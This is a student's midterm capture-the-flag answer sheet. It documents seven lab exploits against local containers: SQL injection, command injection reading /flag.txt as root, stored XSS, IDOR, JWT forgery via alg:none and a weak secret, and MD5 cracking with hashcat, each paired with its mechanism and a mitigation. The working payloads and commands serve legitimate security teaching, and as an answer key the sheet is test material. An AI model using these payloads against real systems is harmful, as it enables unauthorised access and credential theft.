Midterm CTF Practical — Answer

Name: Sai Shang Hlang · **Student ID:** 6631503129 · **Week 9**

📊 Summary

#	Challenge	Topic	Target	Flag / Result	Pts
1	Boolean Bypass	SQLi	week04	`FLAG{sqli_demo}`	15
2	Shell Out	Command injection	week04	`FLAG{cmdi_demo}`	15
3	Pop the Alert	Stored XSS	week05	`alert(document.domain)` fires	15
4	Not Your Order	IDOR	week06	`FLAG{idor_demo}`	15
5	Forge Ahead	Broken JWT	week06	`FLAG{jwt_demo}`	15
6	Crack It	Weak hash	week03	`password123` / `123456` / `123456789` / `password`	15
7	Penguin	ECB oracle	week03	identical ciphertext blocks	10

1. Boolean Bypass — SQLi (week04) · 15 pts

- **Flag:** `FLAG{sqli_demo}`
- **Payload:**

```
GET /login?user=' UNION SELECT id,password FROM users WHERE
username='admin'--&pw=x
```

  → `Welcome FLAG{sqli_demo}`
  - *Auth-bypass variant used:* `GET /login?user=admin'--&pw=x` → `Welcome admin` (no password)
- **Mechanism:** The app concatenates `user`/`pw` straight into the SQL string; closing the quote and commenting out the rest turns the input into SQL, and the `UNION` returns the admin row's password.
- **Mitigation:** Use **parameterized queries** (bound parameters) so input can never become SQL code — **CWE-89 / OWASP A05**.

---

2. Shell Out — Command Injection (week04) · 15 pts

- **Flag:** `FLAG{cmdi_demo}`

- **Payload:**

```
GET /ping?host=127.0.0.1;cat%20/flag.txt
```

→ response contains `FLAG{cmdi_demo}` · also verified `;id` ran as `uid=0(root)`

- **Mechanism:** `subprocess.run("ping -c 1 "+host, shell=True)` hands the whole string to the OS shell, so the `;` separator runs an extra command inside the container.
- **Mitigation:** Never use `shell=True`; pass an argument array (`shell=False`) and allow-list validate `host` — **CWE-78 / OWASP A05**.

---

3. Pop the Alert — Stored XSS (week05) · 15 pts

- **Proof:** stored comment is re-served unescaped on `/comments`:

```
POST /comments   body=<script>alert(document.domain)</script>     →
HTTP 200
GET  /comments   → <div class=comment><script>alert(document.domain)
</script></div>
```

A second browser session loading `/comments` fires `alert(document.domain)`.

- **Mechanism:** each comment is concatenated into the page as **raw HTML** with no output encoding, so the stored payload runs as live script for every visitor.
- **Mitigation: Contextual output encoding** (Jinja autoescape / `escape()`) **+ a strict CSP** `default-src 'self'; script-src 'self'` — **CWE-79 / OWASP A05**.
- **Screenshot:** attach as `3-6631503129.png` (server-side proof captured; confirm the real alert in a separate browser session).

---

4. Not Your Order — IDOR (week06) · 15 pts

- **Flag:** `FLAG{idor_demo}`
- **Command:**

```
TOKEN=$(curl -s -X POST localhost:8083/login -H 'Content-Type:
application/json' \
  -d '{"user":"alice","pw":"alicepw"}' | python3 -c 'import
sys,json;print(json.load(sys.stdin)["token"])')
curl -s localhost:8083/api/orders/2 -H "Authorization: Bearer $TOKEN"
```

→ `{"item":"Phone","note":"FLAG{idor_demo}","owner":"bob","total":800}`

  - *Proof:* alice's own order **1** is allowed; Bob's order **2** (`owner: bob`) is returned to her anyway.

- **Mechanism:** `get_order()` calls `current_user()` but **ignores the result** (`vulnerable_app.py` L63), then returns any order by ID — so any login can enumerate other users' objects.

- **Mitigation:** Deny-by-default **ownership check** on each object: `if order["owner"] != user: return 403` — **CWE-639 / OWASP A01**.

---

5. Forge Ahead — Broken JWT (week06) · 15 pts

- **Flag:** `FLAG{jwt_demo}`
- **Token-generation methods (both succeed):**

```
(a) alg:none (unsigned): header {"alg":"none"} · payload
{"sub":"admin"} · signature ""
(b) weak HMAC secret "secret": base64url(HS256
header).base64url({"sub":"admin"}).HMACSHA256("secret")
```

```
curl -s localhost:8083/api/admin -H "Authorization: Bearer <forged-
token>"
```

→ `200 {"flag":"FLAG{jwt_demo}"}`

- **Mechanism:** `current_user()` lists `"none"` in the allowed algorithms (decodes without verifying) and signs tokens with the guessable hardcoded secret — so an attacker can mint `sub=admin`.
- **Mitigation:** Pin a single strong algorithm (**HS256**), verify with a **strong random secret**, and require `exp`/`aud` claims — **CWE-347 / CWE-321 · OWASP A07/A01**.

---

6. Crack It — Weak Hash (week03) · 15 pts

- **Recovered values** (all of `hashes.txt`):

MD5 hash	Password
`482c811da5d5b4bc6d497ffa98491e38`	`password123`
`e10adc3949ba59abbe56e057f20f883e`	`123456`
`25f9e794323b453885f5181f1b624d0b`	`123456789`
`5f4dcc3b5aa765d61d8327deb882cf99`	`password`

- **Cracking command:**

```
echo 5f4dcc3b5aa765d61d8327deb882cf99 > t.txt && hashcat -m 0 t.txt
wordlist.txt
# or: john --format=raw-md5 hashes.txt --wordlist=wordlist.txt
```

Verified: `hashlib.md5(b"password").hexdigest() == 5f4dcc3b5aa765d61d8327deb882cf99`

- **Mechanism:** MD5 is **fast and unsalted**, so dictionary/brute force recovers common passwords from the raw hash.

- **Mitigation:** Store passwords with a **salted, memory-hard KDF** (argon2id/bcrypt), never MD5 — **CWE-916/CWE-327 · OWASP A04**.
- **Screenshot:** attach as `6-6631503129.png`.

---

7. Penguin — ECB Oracle (week03) · 10 pts

- **Proof — identical plaintext → identical ciphertext** (AES-128-ECB, key `0123456789abcdef`):

Block	Plaintext (hex)	Ciphertext (hex)
1	`41414141414141414141414141414141`	`3bfd04cc0d7ed55358e2cbe19de21383`
2	`41414141414141414141414141414141`	`3bfd04cc0d7ed55358e2cbe19de21383`

  - **Identical blocks?** `True`
- **What is leaked:** two equal plaintext blocks produce equal ciphertext blocks, exposing **structure/repetition in the plaintext** (deterministic ECB — no chaining/IV), even without the key.
- **Mitigation:** Use an **authenticated-mode cipher with an IV/nonce** such as **AES-GCM**, never ECB — **CWE-327 / OWASP A04**.
- **Screenshot:** attach as `7-6631503129.png`.

🤖 AI-use Disclosure

I used an AI-coding assistant (Claude) to automate the `curl`/`python` requests against the locally-running target containers and to generate the hash-cracking and ECB scripts. Every flag and response shown above was **obtained from the running sandbox**, not generated by the AI.